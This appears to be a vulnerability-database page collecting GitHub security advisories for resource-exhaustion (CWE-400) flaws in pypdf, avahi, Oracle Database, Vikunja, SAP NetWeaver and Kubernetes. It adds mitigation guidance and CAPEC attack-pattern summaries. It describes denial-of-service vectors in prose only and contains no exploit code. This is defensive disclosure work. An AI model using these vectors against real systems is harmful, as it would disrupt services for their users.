An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.
Patches
This has been fixed in pypdf==6.14.0.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3887.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59937"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:07:33Z",
"nvd_published_at": "2026-07-08T18:16:34Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams.\n\n### Patches\n\nThis has been fixed in [pypdf==6.14.0](https://github.com/py-pdf/pypdf/releases/tag/6.14.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3887](https://github.com/py-pdf/pypdf/pull/3887).",
"id": "GHSA-55h5-xmcq-c37v",
"modified": "2026-07-23T15:07:33Z",
"published": "2026-07-23T15:07:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-55h5-xmcq-c37v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59937"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3887"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/b5fc5aa714f4b696fb9b1deaa35a9e4a4eb50dae"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf: Possible long runtimes for repeated malformed cross-reference entries "
}
GHSA-55H6-XCVG-4R99
Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2025-11-04 00:30A vulnerability was found in the avahi library. This flaw allows an unprivileged user to make a dbus call, causing the avahi daemon to crash.
{
"affected": [],
"aliases": [
"CVE-2023-1981"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T18:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in the avahi library. This flaw allows an unprivileged user to make a dbus call, causing the avahi daemon to crash.",
"id": "GHSA-55h6-xcvg-4r99",
"modified": "2025-11-04T00:30:37Z",
"published": "2023-05-26T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1981"
},
{
"type": "WEB",
"url": "https://github.com/lathiat/avahi/issues/375"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-1981"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2185911"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00011.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55JC-5V44-H4J7
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of RDBMS as well as unauthorized update, insert or delete access to some of RDBMS accessible data. CVSS 3.1 Base Score 8.2 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-47046"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:10Z",
"severity": "HIGH"
},
"details": "Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of RDBMS as well as unauthorized update, insert or delete access to some of RDBMS accessible data. CVSS 3.1 Base Score 8.2 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).",
"id": "GHSA-55jc-5v44-h4j7",
"modified": "2026-07-22T00:31:17Z",
"published": "2026-07-22T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47046"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55P4-8J34-JV53
Vulnerability from github – Published: 2026-09-15 18:32 – Updated: 2026-10-09 20:53Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-pqf9-h8g4-8gmh. This link is maintained to preserve external references.
Original Description
vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"versions": [
"2.5.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:53:08Z",
"nvd_published_at": "2026-09-15T16:17:53Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-pqf9-h8g4-8gmh. This link is maintained to preserve external references.\n\n### Original Description\nvikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.",
"id": "GHSA-55p4-8j34-jv53",
"modified": "2026-10-09T20:53:08Z",
"published": "2026-09-15T18:32:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pqf9-h8g4-8gmh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91969"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-csv-migration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Vikunja: Unbounded CSV row cardinality permits API process termination",
"withdrawn": "2026-10-09T20:53:08Z"
}
GHSA-55QF-6MR4-QMXV
Vulnerability from github – Published: 2022-05-14 01:50 – Updated: 2025-04-20 03:40disp+work 7400.12.21.30308 in SAP NetWeaver 7.40 allows remote attackers to cause a denial of service (resource consumption) via a crafted DIAG request, aka SAP Security Note 2405918.
{
"affected": [],
"aliases": [
"CVE-2017-9845"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-12T16:29:00Z",
"severity": "HIGH"
},
"details": "disp+work 7400.12.21.30308 in SAP NetWeaver 7.40 allows remote attackers to cause a denial of service (resource consumption) via a crafted DIAG request, aka SAP Security Note 2405918.",
"id": "GHSA-55qf-6mr4-qmxv",
"modified": "2025-04-20T03:40:37Z",
"published": "2022-05-14T01:50:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9845"
},
{
"type": "WEB",
"url": "https://erpscan.io/advisories/erpscan-17-015-sap-netweaver-dispwork-anonymous-denial-service"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96874"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-55QJ-GJ3X-JQ9R
Vulnerability from github – Published: 2024-04-24 20:01 – Updated: 2024-06-10 19:36The Kubernetes kubelet component in versions 1.1-1.16.12, 1.17.0-1.17.8 and 1.18.0-1.18.5 do not account for disk usage by a pod which writes to its own /etc/hosts file. The /etc/hosts file mounted in a pod by kubelet is not included by the kubelet eviction manager when calculating ephemeral storage usage by a pod. If a pod writes a large amount of data to the /etc/hosts file, it could fill the storage space of the node and cause the node to fail.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes/pkg/kubelet"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.16.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes/pkg/kubelet"
},
"ranges": [
{
"events": [
{
"introduced": "1.17.0"
},
{
"fixed": "1.17.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes/pkg/kubelet"
},
"ranges": [
{
"events": [
{
"introduced": "1.18.0"
},
{
"fixed": "1.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8557"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T20:01:31Z",
"nvd_published_at": "2020-07-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "The Kubernetes kubelet component in versions 1.1-1.16.12, 1.17.0-1.17.8 and 1.18.0-1.18.5 do not account for disk usage by a pod which writes to its own /etc/hosts file. The /etc/hosts file mounted in a pod by kubelet is not included by the kubelet eviction manager when calculating ephemeral storage usage by a pod. If a pod writes a large amount of data to the /etc/hosts file, it could fill the storage space of the node and cause the node to fail.",
"id": "GHSA-55qj-gj3x-jq9r",
"modified": "2024-06-10T19:36:51Z",
"published": "2024-04-24T20:01:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8557"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/issues/93032"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/pull/92921"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/commit/530f199b6e07cdaab32361e39709ac45f3fdc446"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/commit/68750fefd3df76b7b008ef7b18e8acd18d5c2f2e"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/commit/7fd849cffa2f93061fbcb0a6ae4efd0539b1e981"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-55qj-gj3x-jq9r"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubernetes/kubernetes"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/kubernetes-security-announce/c/cB_JUsYEKyY/m/vVSO61AhBwAJ"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2753"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200821-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in Kubernetes"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.